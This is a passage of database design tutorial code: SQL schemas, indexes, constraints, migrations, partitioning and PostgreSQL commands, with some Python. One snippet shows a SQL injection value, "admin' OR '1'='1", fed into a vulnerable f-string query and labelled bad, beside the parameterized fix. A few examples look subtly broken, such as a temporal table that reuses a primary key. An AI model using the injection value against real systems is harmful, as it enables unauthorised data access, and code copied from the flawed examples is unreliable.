    total DECIMAL(10,2)
);

-- Much faster query
SELECT id, total, customer_name, customer_email
FROM orders;

-- User has one profile
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50) UNIQUE NOT NULL
);

CREATE TABLE user_profiles (
    user_id INTEGER PRIMARY KEY REFERENCES users(id),
    bio TEXT,
    avatar_url VARCHAR(255)
);

-- User has many posts
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50)
);

CREATE TABLE posts (
    id SERIAL PRIMARY KEY,
    user_id INTEGER REFERENCES users(id),
    title VARCHAR(200),
    content TEXT
);

-- Students enroll in many courses
-- Courses have many students
CREATE TABLE students (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100)
);

CREATE TABLE courses (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100)
);

-- Junction table
CREATE TABLE enrollments (
    student_id INTEGER REFERENCES students(id),
    course_id INTEGER REFERENCES courses(id),
    enrolled_at TIMESTAMP DEFAULT NOW(),
    grade VARCHAR(2),
    PRIMARY KEY (student_id, course_id)
);

-- Employee manager hierarchy
CREATE TABLE employees (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100),
    manager_id INTEGER REFERENCES employees(id)
);

-- Query: Find all employees under a manager
WITH RECURSIVE employee_tree AS (
    SELECT id, name, manager_id, 1 as level
    FROM employees
    WHERE manager_id IS NULL

    UNION ALL

    SELECT e.id, e.name, e.manager_id, et.level + 1
    FROM employees e
    JOIN employee_tree et ON e.manager_id = et.id
)
SELECT * FROM employee_tree;

-- Auto-increment (PostgreSQL)
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    email VARCHAR(255) UNIQUE
);

-- UUID (better for distributed systems)
CREATE EXTENSION IF NOT EXISTS "uuid-ossp";

CREATE TABLE users (
    id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
    email VARCHAR(255) UNIQUE
);

-- Email as natural key
CREATE TABLE users (
    email VARCHAR(255) PRIMARY KEY,
    name VARCHAR(100)
);

-- Composite natural key
CREATE TABLE flight_bookings (
    flight_number VARCHAR(10),
    seat_number VARCHAR(5),
    passenger_name VARCHAR(100),
    PRIMARY KEY (flight_number, seat_number)
);

CREATE TABLE orders (
    id SERIAL PRIMARY KEY,
    user_id INTEGER NOT NULL REFERENCES users(id)
);

CREATE TABLE posts (
    id SERIAL PRIMARY KEY,
    user_id INTEGER REFERENCES users(id)
        ON DELETE CASCADE        -- Delete posts when user deleted
        ON UPDATE CASCADE        -- Update posts when user id changes
);

CREATE TABLE comments (
    id SERIAL PRIMARY KEY,
    post_id INTEGER REFERENCES posts(id)
        ON DELETE SET NULL       -- Set to NULL when post deleted
);

CREATE TABLE audit_log (
    id SERIAL PRIMARY KEY,
    user_id INTEGER REFERENCES users(id)
        ON DELETE RESTRICT       -- Prevent deletion if referenced
);

CREATE TABLE order_items (
    id SERIAL PRIMARY KEY,
    order_id INTEGER,
    item_number INTEGER,
    quantity INTEGER,
    FOREIGN KEY (order_id, item_number)
        REFERENCES inventory(warehouse_id, product_id)
);

CREATE INDEX idx_users_email ON users(email);
CREATE INDEX idx_orders_created_at ON orders(created_at);

-- Range query benefits from index
SELECT * FROM orders
WHERE created_at BETWEEN '2024-01-01' AND '2024-12-31';

CREATE INDEX idx_users_email_hash ON users USING HASH (email);

-- Fast exact match
SELECT * FROM users WHERE email = 'user@example.com';

CREATE INDEX idx_users_name_email ON users(last_name, first_name);

-- Fast (uses index)
SELECT * FROM users WHERE last_name = 'Smith';
SELECT * FROM users WHERE last_name = 'Smith' AND first_name = 'John';

-- Slow (doesn't use index - missing leftmost column)
SELECT * FROM users WHERE first_name = 'John';

CREATE INDEX idx_active_users ON users(email)
WHERE status = 'active';

-- Fast query on active users
SELECT * FROM users WHERE email = 'user@example.com' AND status = 'active';

CREATE INDEX idx_users_email_covering ON users(email)
INCLUDE (name, created_at);

-- Can be answered entirely from index
SELECT name, created_at FROM users WHERE email = 'user@example.com';

-- PostgreSQL
CREATE INDEX idx_posts_content_fts ON posts USING GIN(to_tsvector('english', content));

SELECT * FROM posts
WHERE to_tsvector('english', content) @@ to_tsquery('database & design');

-- PostgreSQL with PostGIS
CREATE EXTENSION postgis;

CREATE TABLE locations (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100),
    coordinates GEOGRAPHY(POINT, 4326)
);

-- Create spatial index (GiST - Generalized Search Tree)
CREATE INDEX idx_locations_coordinates ON locations USING GIST(coordinates);

-- Find locations within 1000 meters
SELECT name FROM locations
WHERE ST_DWithin(
    coordinates,
    ST_MakePoint(-122.4194, 37.7749)::geography,
    1000
);

-- MySQL spatial index
CREATE SPATIAL INDEX idx_location ON locations(coordinates);

CREATE TABLE users (
    -- Integer types
    id BIGSERIAL,                    -- Auto-increment 64-bit integer
    age SMALLINT,                    -- 16-bit (-32768 to 32767)
    views INTEGER,                   -- 32-bit

    -- Strings
    username VARCHAR(50),            -- Variable, max 50 chars
    bio TEXT,                        -- Unlimited text
    country_code CHAR(2),           -- Fixed 2 chars (e.g., 'US')

    -- Decimal
    price DECIMAL(10,2),            -- Exact decimal (10 digits, 2 decimal places)
    rating NUMERIC(3,1),            -- Same as DECIMAL

    -- Floating point (avoid for money!)
    latitude FLOAT,
    longitude DOUBLE PRECISION,

    -- Date/Time
    created_at TIMESTAMP,           -- Date and time
    birth_date DATE,                -- Date only
    login_time TIME,                -- Time only
    updated_at TIMESTAMPTZ,         -- Timestamp with timezone

    -- Boolean
    is_active BOOLEAN,

    -- JSON
    preferences JSONB,              -- Binary JSON (faster, indexable)
    metadata JSON,                  -- Text JSON

    -- UUID
    session_id UUID,

    -- Array (PostgreSQL)
    tags TEXT[],

    -- Enum
    status user_status              -- Custom enum type
);

-- Create enum type
CREATE TYPE user_status AS ENUM ('active', 'inactive', 'banned');

-- DON'T: Use VARCHAR without limit
description VARCHAR                 -- Avoid

-- DO: Set reasonable limits
description VARCHAR(500)

-- DON'T: Use FLOAT/DOUBLE for money
price FLOAT                        -- WRONG! Precision issues

-- DO: Use DECIMAL/NUMERIC
price DECIMAL(10,2)               -- Correct

-- DON'T: Store dates as strings
date_field VARCHAR(10)            -- '2024-01-15'

-- DO: Use proper date types
date_field DATE                   -- Proper type, can use date functions

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    email VARCHAR(255) NOT NULL,
    name VARCHAR(100) NOT NULL
);

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    email VARCHAR(255) UNIQUE NOT NULL,
    username VARCHAR(50) UNIQUE NOT NULL
);

-- Composite unique constraint
CREATE TABLE user_roles (
    user_id INTEGER,
    role_id INTEGER,
    UNIQUE (user_id, role_id)
);

CREATE TABLE products (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100) NOT NULL,
    price DECIMAL(10,2) CHECK (price >= 0),
    stock INTEGER CHECK (stock >= 0),
    discount_percent INTEGER CHECK (discount_percent BETWEEN 0 AND 100)
);

-- Complex check constraint
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    age INTEGER,
    email VARCHAR(255),
    CONSTRAINT valid_adult_email CHECK (
        (age >= 18 AND email IS NOT NULL) OR age < 18
    )
);

CREATE TABLE posts (
    id SERIAL PRIMARY KEY,
    title VARCHAR(200) NOT NULL,
    status VARCHAR(20) DEFAULT 'draft',
    views INTEGER DEFAULT 0,
    created_at TIMESTAMP DEFAULT NOW(),
    is_published BOOLEAN DEFAULT false
);

-- PostgreSQL
EXPLAIN ANALYZE
SELECT u.name, COUNT(o.id) as order_count
FROM users u
LEFT JOIN orders o ON u.id = o.user_id
GROUP BY u.id, u.name;

-- Look for:
-- - Seq Scan (bad for large tables) → add index
-- - Index Scan (good)
-- - Bitmap Heap Scan (okay)
-- - High cost numbers
-- - Many rows processed

# 1 query for posts
posts = db.query("SELECT * FROM posts LIMIT 10")

# N queries for authors (10 more queries!)
for post in posts:
    author = db.query("SELECT * FROM users WHERE id = ?", post.user_id)
    print(f"{post.title} by {author.name}")

posts = db.query("""
    SELECT p.*, u.name as author_name
    FROM posts p
    JOIN users u ON p.user_id = u.id
    LIMIT 10
""")

for post in posts:
    print(f"{post.title} by {post.author_name}")

# Fetch all posts
posts = db.query("SELECT * FROM posts LIMIT 10")
user_ids = [p.user_id for p in posts]

# Fetch all users in one query
users = db.query("SELECT * FROM users WHERE id IN (?)", user_ids)
user_map = {u.id: u for u in users}

for post in posts:
    print(f"{post.title} by {user_map[post.user_id].name}")

import redis

cache = redis.Redis(host='localhost', port=6379)

def get_user(user_id):
    # Try cache first
    cache_key = f"user:{user_id}"
    cached = cache.get(cache_key)

    if cached:
        return json.loads(cached)

    # Cache miss - query database
    user = db.query("SELECT * FROM users WHERE id = ?", user_id)

    # Store in cache (expire after 1 hour)
    cache.setex(cache_key, 3600, json.dumps(user))

    return user

-- MySQL query cache (deprecated in MySQL 8.0)
SET query_cache_type = ON;
SET query_cache_size = 1048576;  -- 1MB

-- PostgreSQL shared_buffers (acts as cache)
-- In postgresql.conf:
-- shared_buffers = 256MB

-- Materialized views (pre-computed results)
CREATE MATERIALIZED VIEW user_order_stats AS
SELECT
    u.id,
    u.name,
    COUNT(o.id) as order_count,
    SUM(o.total) as total_spent
FROM users u
LEFT JOIN orders o ON u.id = o.user_id
GROUP BY u.id, u.name;

-- Refresh periodically
REFRESH MATERIALIZED VIEW user_order_stats;

-- Query is now instant
SELECT * FROM user_order_stats WHERE id = 123;

# Bad - SQL injection risk, no caching
user_input = "admin' OR '1'='1"
query = f"SELECT * FROM users WHERE username = '{user_input}'"
db.execute(query)  # VULNERABLE!

# Good - parameterized query
import psycopg2

conn = psycopg2.connect(...)
cursor = conn.cursor()

# Prepared statement (query plan cached)
cursor.execute(
    "SELECT * FROM users WHERE username = %s",
    (user_input,)  # Safe - treated as data, not SQL
)

# Explicitly prepare (useful for repeated queries)
cursor.execute("PREPARE user_query AS SELECT * FROM users WHERE id = $1")
cursor.execute("EXECUTE user_query(123)")
cursor.execute("EXECUTE user_query(456)")
cursor.execute("EXECUTE user_query(789)")

from psycopg2 import pool

# Create connection pool
db_pool = pool.ThreadedConnectionPool(
    minconn=5,     # Keep 5 connections open
    maxconn=20,    # Max 20 concurrent connections
    host='localhost',
    database='myapp'
)

# Get connection from pool
conn = db_pool.getconn()
try:
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM users")
    results = cursor.fetchall()
finally:
    # Return connection to pool (don't close!)
    db_pool.putconn(conn)

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    email VARCHAR(255) NOT NULL,
    deleted_at TIMESTAMP NULL
);

-- "Delete" user
UPDATE users SET deleted_at = NOW() WHERE id = 123;

-- Query active users
SELECT * FROM users WHERE deleted_at IS NULL;

-- Index for performance
CREATE INDEX idx_users_active ON users(id) WHERE deleted_at IS NULL;

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    email VARCHAR(255) NOT NULL,
    name VARCHAR(100),
    created_at TIMESTAMP DEFAULT NOW(),
    updated_at TIMESTAMP DEFAULT NOW()
);

CREATE TABLE users_audit (
    audit_id SERIAL PRIMARY KEY,
    user_id INTEGER,
    action VARCHAR(10),           -- INSERT, UPDATE, DELETE
    old_data JSONB,
    new_data JSONB,
    changed_by INTEGER,
    changed_at TIMESTAMP DEFAULT NOW()
);

-- Trigger to log changes
CREATE OR REPLACE FUNCTION audit_users()
RETURNS TRIGGER AS $$
BEGIN
    IF (TG_OP = 'DELETE') THEN
        INSERT INTO users_audit(user_id, action, old_data)
        VALUES (OLD.id, 'DELETE', row_to_json(OLD));
        RETURN OLD;
    ELSIF (TG_OP = 'UPDATE') THEN
        INSERT INTO users_audit(user_id, action, old_data, new_data)
        VALUES (NEW.id, 'UPDATE', row_to_json(OLD), row_to_json(NEW));
        RETURN NEW;
    ELSIF (TG_OP = 'INSERT') THEN
        INSERT INTO users_audit(user_id, action, new_data)
        VALUES (NEW.id, 'INSERT', row_to_json(NEW));
        RETURN NEW;
    END IF;
END;
$$ LANGUAGE plpgsql;

CREATE TRIGGER users_audit_trigger
AFTER INSERT OR UPDATE OR DELETE ON users
FOR EACH ROW EXECUTE FUNCTION audit_users();

CREATE TABLE products (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100),
    price DECIMAL(10,2),
    version INTEGER DEFAULT 1    -- Version number
);

-- Update with version check
UPDATE products
SET price = 29.99, version = version + 1
WHERE id = 123 AND version = 5;

-- If 0 rows affected, concurrent update occurred

-- Option 1: Separate foreign keys (recommended)
CREATE TABLE comments (
    id SERIAL PRIMARY KEY,
    content TEXT,
    post_id INTEGER REFERENCES posts(id),
    photo_id INTEGER REFERENCES photos(id),
    CHECK (
        (post_id IS NOT NULL AND photo_id IS NULL) OR
        (post_id IS NULL AND photo_id IS NOT NULL)
    )
);

-- Option 2: Type field (less type-safe)
CREATE TABLE comments (
    id SERIAL PRIMARY KEY,
    content TEXT,
    commentable_type VARCHAR(50),  -- 'Post' or 'Photo'
    commentable_id INTEGER
);

-- Simple tagging
CREATE TABLE posts (
    id SERIAL PRIMARY KEY,
    title VARCHAR(200),
    content TEXT
);

CREATE TABLE tags (
    id SERIAL PRIMARY KEY,
    name VARCHAR(50) UNIQUE
);

CREATE TABLE post_tags (
    post_id INTEGER REFERENCES posts(id) ON DELETE CASCADE,
    tag_id INTEGER REFERENCES tags(id) ON DELETE CASCADE,
    PRIMARY KEY (post_id, tag_id)
);

-- Find posts with specific tag
SELECT p.* FROM posts p
JOIN post_tags pt ON p.id = pt.post_id
JOIN tags t ON pt.tag_id = t.id
WHERE t.name = 'database';

-- Find posts with multiple tags
SELECT p.* FROM posts p
JOIN post_tags pt ON p.id = pt.post_id
JOIN tags t ON pt.tag_id = t.id
WHERE t.name IN ('database', 'design')
GROUP BY p.id
HAVING COUNT(DISTINCT t.id) = 2;  -- Must have both tags

CREATE TABLE categories (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100),
    parent_id INTEGER REFERENCES categories(id)
);

-- Query with recursive CTE
WITH RECURSIVE category_tree AS (
    SELECT id, name, parent_id, 1 as depth
    FROM categories
    WHERE parent_id IS NULL

    UNION ALL

    SELECT c.id, c.name, c.parent_id, ct.depth + 1
    FROM categories c
    JOIN category_tree ct ON c.parent_id = ct.id
)
SELECT * FROM category_tree;

CREATE TABLE categories (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100),
    lft INTEGER NOT NULL,
    rgt INTEGER NOT NULL
);

-- Example data:
-- Electronics (1, 10)
--   ├─ Computers (2, 5)
--   │   └─ Laptops (3, 4)
--   └─ Phones (6, 9)
--       └─ Smartphones (7, 8)

-- Get all descendants (very fast)
SELECT * FROM categories
WHERE lft > 2 AND rgt < 5;  -- All under Computers

CREATE TABLE product_prices (
    product_id INTEGER,
    price DECIMAL(10,2),
    valid_from DATE,
    valid_to DATE,
    PRIMARY KEY (product_id, valid_from)
);

-- Insert price changes
INSERT INTO product_prices VALUES
    (1, 19.99, '2024-01-01', '2024-06-30'),
    (1, 24.99, '2024-07-01', '2024-12-31'),
    (1, 29.99, '2025-01-01', '9999-12-31');  -- Current price

-- Get price on specific date
SELECT price FROM product_prices
WHERE product_id = 1
  AND '2024-08-15' BETWEEN valid_from AND valid_to;

-- Get current price
SELECT price FROM product_prices
WHERE product_id = 1
  AND CURRENT_DATE BETWEEN valid_from AND valid_to;

CREATE TABLE employees (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100),
    salary DECIMAL(10,2),
    transaction_start TIMESTAMP DEFAULT NOW(),
    transaction_end TIMESTAMP DEFAULT '9999-12-31 23:59:59'
);

-- Update creates new version, marks old version as ended
UPDATE employees
SET transaction_end = NOW()
WHERE id = 1 AND transaction_end = '9999-12-31 23:59:59';

INSERT INTO employees (id, name, salary, transaction_start)
VALUES (1, 'Alice', 75000, NOW());

-- Get current version
SELECT * FROM employees
WHERE id = 1 AND transaction_end = '9999-12-31 23:59:59';

-- Get history (all versions)
SELECT * FROM employees WHERE id = 1 ORDER BY transaction_start;

-- Point-in-time query (what was the salary on Jan 1?)
SELECT salary FROM employees
WHERE id = 1
  AND transaction_start <= '2024-01-01'
  AND transaction_end > '2024-01-01';

CREATE TABLE insurance_policies (
    policy_id INTEGER,
    customer_id INTEGER,
    coverage DECIMAL(10,2),
    -- Business time (when policy is valid)
    valid_from DATE,
    valid_to DATE,
    -- System time (when we knew about it)
    transaction_start TIMESTAMP DEFAULT NOW(),
    transaction_end TIMESTAMP DEFAULT '9999-12-31 23:59:59',
    PRIMARY KEY (policy_id, valid_from, transaction_start)
);

-- Query: What coverage did we think customer had on 2024-06-01,
--        as of what we knew on 2024-03-15?
SELECT coverage FROM insurance_policies
WHERE customer_id = 123
  AND '2024-06-01' BETWEEN valid_from AND valid_to
  AND '2024-03-15' BETWEEN transaction_start AND transaction_end;

-- PostgreSQL 12+ supports period ranges
CREATE EXTENSION btree_gist;

CREATE TABLE room_bookings (
    room_id INTEGER,
    guest_name VARCHAR(100),
    during TSRANGE,  -- Time range type
    EXCLUDE USING GIST (room_id WITH =, during WITH &&)  -- Prevent overlaps
);

-- Insert bookings
INSERT INTO room_bookings VALUES
    (101, 'Alice', '[2024-01-01 14:00, 2024-01-03 10:00)');

-- This will fail - overlapping booking!
INSERT INTO room_bookings VALUES
    (101, 'Bob', '[2024-01-02 14:00, 2024-01-04 10:00)');

-- This succeeds - no overlap
INSERT INTO room_bookings VALUES
    (101, 'Bob', '[2024-01-03 14:00, 2024-01-05 10:00)');

BEGIN TRANSACTION;
    UPDATE accounts SET balance = balance - 100 WHERE id = 1;
    UPDATE accounts SET balance = balance + 100 WHERE id = 2;
COMMIT;  -- Both succeed or both rollback

-- Constraint ensures consistency
ALTER TABLE accounts ADD CONSTRAINT positive_balance
    CHECK (balance >= 0);

-- This transaction will fail - maintains consistency
UPDATE accounts SET balance = balance - 1000 WHERE balance = 100;

-- Transaction 1
BEGIN TRANSACTION;
SELECT balance FROM accounts WHERE id = 1;  -- Reads 100
-- Transaction 2 updates balance to 200 here
SELECT balance FROM accounts WHERE id = 1;  -- Still reads 100 (isolation)
COMMIT;

COMMIT;  -- Once committed, data survives crashes

-- Read Uncommitted: Can see uncommitted changes (dirty reads)
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;

-- Read Committed: Only see committed changes (default in PostgreSQL)
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;

-- Repeatable Read: Same query returns same result in transaction
SET TRANSACTION ISOLATION LEVEL REPEATABLE READ;

-- Serializable: Full isolation, transactions appear serial
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;

# Example: Eventually consistent cache
def update_user(user_id, name):
    # Write to primary database
    primary_db.update(user_id, name)

    # Asynchronously update cache (eventual consistency)
    async_update_cache(user_id, name)

    # Immediately after, cache might be stale
    # But will eventually be consistent

def get_user(user_id):
    # Might return old value briefly
    return cache.get(user_id)

-- Partition by date range
CREATE TABLE orders (
    id SERIAL,
    user_id INTEGER,
    total DECIMAL(10,2),
    created_at DATE
) PARTITION BY RANGE (created_at);

CREATE TABLE orders_2023 PARTITION OF orders
    FOR VALUES FROM ('2023-01-01') TO ('2024-01-01');

CREATE TABLE orders_2024 PARTITION OF orders
    FOR VALUES FROM ('2024-01-01') TO ('2025-01-01');

CREATE TABLE orders_2025 PARTITION OF orders
    FOR VALUES FROM ('2025-01-01') TO ('2026-01-01');

-- Queries automatically use correct partition
SELECT * FROM orders WHERE created_at = '2024-06-15';  -- Only scans orders_2024

CREATE TABLE sales (
    id SERIAL,
    region VARCHAR(50),
    amount DECIMAL(10,2)
) PARTITION BY LIST (region);

CREATE TABLE sales_north PARTITION OF sales
    FOR VALUES IN ('US-NORTH', 'CA-NORTH');

CREATE TABLE sales_south PARTITION OF sales
    FOR VALUES IN ('US-SOUTH', 'MX');

CREATE TABLE sales_europe PARTITION OF sales
    FOR VALUES IN ('UK', 'DE', 'FR');

CREATE TABLE users (
    id SERIAL,
    email VARCHAR(255)
) PARTITION BY HASH (id);

CREATE TABLE users_0 PARTITION OF users
    FOR VALUES WITH (MODULUS 4, REMAINDER 0);

CREATE TABLE users_1 PARTITION OF users
    FOR VALUES WITH (MODULUS 4, REMAINDER 1);

CREATE TABLE users_2 PARTITION OF users
    FOR VALUES WITH (MODULUS 4, REMAINDER 2);

CREATE TABLE users_3 PARTITION OF users
    FOR VALUES WITH (MODULUS 4, REMAINDER 3);

# Simple hash-based sharding
class ShardedDatabase:
    def __init__(self, shard_count=4):
        self.shards = [
            connect_to_db(f'shard_{i}')
            for i in range(shard_count)
        ]

    def get_shard(self, user_id):
        shard_num = hash(user_id) % len(self.shards)
        return self.shards[shard_num]

    def get_user(self, user_id):
        shard = self.get_shard(user_id)
        return shard.query("SELECT * FROM users WHERE id = ?", user_id)

    def create_user(self, user_id, data):
        shard = self.get_shard(user_id)
        return shard.execute("INSERT INTO users ...", data)

# Usage
db = ShardedDatabase(shard_count=4)
user = db.get_user(12345)  # Routes to correct shard

-- migrations/001_create_users.sql
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    email VARCHAR(255) UNIQUE NOT NULL,
    created_at TIMESTAMP DEFAULT NOW()
);

-- migrations/002_add_users_name.sql
ALTER TABLE users ADD COLUMN name VARCHAR(100);

-- migrations/003_add_users_status.sql
ALTER TABLE users ADD COLUMN status VARCHAR(20) DEFAULT 'active';
CREATE INDEX idx_users_status ON users(status);

-- Track migrations
CREATE TABLE schema_migrations (
    version INTEGER PRIMARY KEY,
    applied_at TIMESTAMP DEFAULT NOW()
);

-- ✓ Add new column with default (no downtime)
ALTER TABLE users ADD COLUMN phone VARCHAR(20) DEFAULT NULL;

-- ✓ Add new index (concurrent, no locks in PostgreSQL)
CREATE INDEX CONCURRENTLY idx_users_email ON users(email);

-- ✓ Add new table
CREATE TABLE user_preferences (
    user_id INTEGER REFERENCES users(id),
    theme VARCHAR(20)
);

ALTER TABLE users RENAME COLUMN name TO full_name;  -- ❌ Instant breakage!

-- Step 1: Add new column
ALTER TABLE users ADD COLUMN full_name VARCHAR(100);

-- Step 2: Backfill data (in batches for large tables)
UPDATE users SET full_name = name WHERE full_name IS NULL;

-- Step 3: Deploy code that writes to both columns
-- Application now writes to both 'name' and 'full_name'

-- Step 4: Deploy code that reads from new column
-- Application now reads from 'full_name', still writes to both

-- Step 5: Drop old column (only after all code updated)
ALTER TABLE users DROP COLUMN name;

-- Don't: ALTER TABLE users ALTER COLUMN id TYPE BIGINT;  -- ❌ Locks table!

-- Step 1: Add new column
ALTER TABLE users ADD COLUMN id_new BIGINT;

-- Step 2: Backfill (in batches)
UPDATE users SET id_new = id::BIGINT WHERE id_new IS NULL;

-- Step 3: Add unique constraint and index
ALTER TABLE users ADD CONSTRAINT users_id_new_unique UNIQUE (id_new);
CREATE INDEX CONCURRENTLY idx_users_id_new ON users(id_new);

-- Step 4: Update application to use new column

-- Step 5: Swap columns (if needed) or drop old column
ALTER TABLE users DROP COLUMN id;
ALTER TABLE users RENAME COLUMN id_new TO id;

-- Step 1: Remove constraint
ALTER TABLE users ALTER COLUMN email DROP NOT NULL;

-- Step 2: Deploy code that handles NULL values

-- Step 3: Optionally re-add constraint if needed
ALTER TABLE users ALTER COLUMN email SET NOT NULL;

# Don't: UPDATE users SET status = 'active';  -- Locks entire table!

# Do: Update in batches
def backfill_status_in_batches():
    batch_size = 1000
    last_id = 0

    while True:
        # Update batch
        result = db.execute("""
            UPDATE users
            SET status = 'active'
            WHERE id > %s
              AND id <= %s + %s
              AND status IS NULL
        """, (last_id, last_id, batch_size))

        if result.rowcount == 0:
            break  # No more rows to update

        last_id += batch_size
        time.sleep(0.1)  # Brief pause to avoid overwhelming DB

-- migrations/005_add_user_status.sql (UP)
ALTER TABLE users ADD COLUMN status VARCHAR(20) DEFAULT 'active';
CREATE INDEX idx_users_status ON users(status);

-- migrations/005_add_user_status_rollback.sql (DOWN)
DROP INDEX IF EXISTS idx_users_status;
ALTER TABLE users DROP COLUMN status;

CREATE TABLE schema_migrations (
    version INTEGER PRIMARY KEY,
    name VARCHAR(255),
    applied_at TIMESTAMP DEFAULT NOW(),
    rolled_back_at TIMESTAMP NULL
);

-- Apply migration
INSERT INTO schema_migrations (version, name)
VALUES (5, 'add_user_status');

-- Rollback
UPDATE schema_migrations
SET rolled_back_at = NOW()
WHERE version = 5;

# Test on staging/development first
$ psql staging_db < migrations/005_add_user_status.sql

# Verify migration
$ psql staging_db -c "SELECT * FROM users LIMIT 1;"

# Test rollback
$ psql staging_db < migrations/005_add_user_status_rollback.sql

# Verify rollback worked
$ psql staging_db -c "\d users"

# Use feature flags to gradually enable new schema
def get_user_status(user_id):
    if feature_flag_enabled('use_new_status_column'):
        return db.query("SELECT status FROM users WHERE id = ?", user_id)
    else:
        # Fallback to old logic
        return calculate_status_from_other_fields(user_id)

# Enable for 5% of users first
# If stable, increase to 50%, then 100%

# Always backup before major migrations
$ pg_dump -h localhost -U postgres mydb > backup_before_migration.sql

# Run migration
$ psql mydb < migrations/006_major_change.sql

# If something goes wrong, restore
$ psql mydb < backup_before_migration.sql

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    email VARCHAR(255),
    -- 100+ columns here...
    last_login TIMESTAMP,
    preferences TEXT,
    -- Don't do this!
);

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    email VARCHAR(255)
);

CREATE TABLE user_profiles (
    user_id INTEGER PRIMARY KEY REFERENCES users(id),
    bio TEXT,
    avatar_url VARCHAR(255)
);

CREATE TABLE user_preferences (
    user_id INTEGER PRIMARY KEY REFERENCES users(id),
    theme VARCHAR(20),
    notifications BOOLEAN
);

CREATE TABLE eav_data (
    entity_id INTEGER,
    attribute_name VARCHAR(100),
    attribute_value TEXT
);

-- Query becomes nightmare
SELECT * FROM eav_data WHERE entity_id = 1;

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    email VARCHAR(255),
    properties JSONB  -- Use JSONB for truly dynamic data
);

-- Much better query
SELECT properties->>'theme' as theme FROM users WHERE id = 1;

-- Don't create 50 indexes upfront
CREATE INDEX idx_1 ON users(email);
CREATE INDEX idx_2 ON users(name);
CREATE INDEX idx_3 ON users(created_at);
-- ... 47 more indexes

-- Start with essential indexes
CREATE UNIQUE INDEX idx_users_email ON users(email);

-- Add more indexes based on actual query patterns

SELECT column1, column2 FROM table WHERE condition;
SELECT * FROM users WHERE age > 18;
SELECT DISTINCT city FROM customers;

INSERT INTO users (name, email) VALUES ('John', 'john@example.com');
INSERT INTO users VALUES (1, 'John', 'john@example.com');

UPDATE users SET age = 30 WHERE id = 1;
UPDATE products SET price = price * 1.1;

DELETE FROM users WHERE id = 1;
DELETE FROM logs WHERE created_at < '2023-01-01';

-- INNER JOIN: Only matching rows
SELECT u.name, o.order_id
FROM users u INNER JOIN orders o ON u.id = o.user_id;

-- LEFT JOIN: All from left table
SELECT u.name, o.order_id
FROM users u LEFT JOIN orders o ON u.id = o.user_id;

-- RIGHT JOIN: All from right table
SELECT u.name, o.order_id
FROM users u RIGHT JOIN orders o ON u.id = o.user_id;

-- FULL OUTER JOIN: All rows
SELECT u.name, o.order_id
FROM users u FULL OUTER JOIN orders o ON u.id = o.user_id;

SELECT COUNT(*) FROM users;
SELECT AVG(price) FROM products;
SELECT SUM(amount) FROM transactions WHERE status = 'completed';
SELECT MAX(salary) FROM employees;

-- GROUP BY
SELECT department, COUNT(*) FROM employees GROUP BY department;
SELECT category, AVG(price) FROM products GROUP BY category;

-- HAVING (filter groups)
SELECT department, AVG(salary)
FROM employees
GROUP BY department
HAVING AVG(salary) > 50000;

-- Create index for faster queries
CREATE INDEX idx_email ON users(email);
CREATE INDEX idx_user_date ON orders(user_id, created_at);

-- Drop index
DROP INDEX idx_email;

BEGIN TRANSACTION;

UPDATE accounts SET balance = balance - 100 WHERE id = 1;
UPDATE accounts SET balance = balance + 100 WHERE id = 2;

COMMIT;  -- Save changes
-- ROLLBACK;  -- Undo changes

-- Rank rows
SELECT name, salary,
  RANK() OVER (ORDER BY salary DESC) as rank
FROM employees;

-- Running total
SELECT date, amount,
  SUM(amount) OVER (ORDER BY date) as running_total
FROM transactions;

SELECT email, COUNT(*) FROM users GROUP BY email HAVING COUNT(*) > 1;

SELECT DISTINCT ON (department) name, salary, department
FROM employees ORDER BY department, salary DESC;

SELECT * FROM users WHERE email NOT LIKE '%@%.%';

# Ubuntu/Debian
sudo apt update
sudo apt install postgresql postgresql-contrib

# macOS
brew install postgresql@15
brew services start postgresql@15

# CentOS/RHEL
sudo yum install postgresql-server postgresql-contrib
sudo postgresql-setup initdb
sudo systemctl start postgresql

# Check version
psql --version

# Connect as postgres user
sudo -u postgres psql

# Connect to specific database
psql -U username -d database_name

# Connect to remote database
psql -h hostname -U username -d database_name

# Execute SQL file
psql -U username -d database_name -f script.sql

# Execute command from shell
psql -U username -d database_name -c "SELECT * FROM users;"

-- Create database
CREATE DATABASE mydb;

-- List databases
\l
\list

-- Connect to database
\c mydb
\connect mydb

-- Drop database
DROP DATABASE mydb;

-- Create database with options
CREATE DATABASE mydb
    WITH OWNER = myuser
    ENCODING = 'UTF8'
    LC_COLLATE = 'en_US.UTF-8'
    LC_CTYPE = 'en_US.UTF-8'
    TEMPLATE = template0;

-- Create table
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50) UNIQUE NOT NULL,
    email VARCHAR(100) UNIQUE NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- List tables
\dt
\dt+  -- with sizes

-- Describe table
\d users
\d+ users  -- detailed

-- Drop table
DROP TABLE users;
DROP TABLE IF EXISTS users;

-- Alter table
ALTER TABLE users ADD COLUMN age INTEGER;
ALTER TABLE users DROP COLUMN age;
ALTER TABLE users RENAME COLUMN username TO user_name;
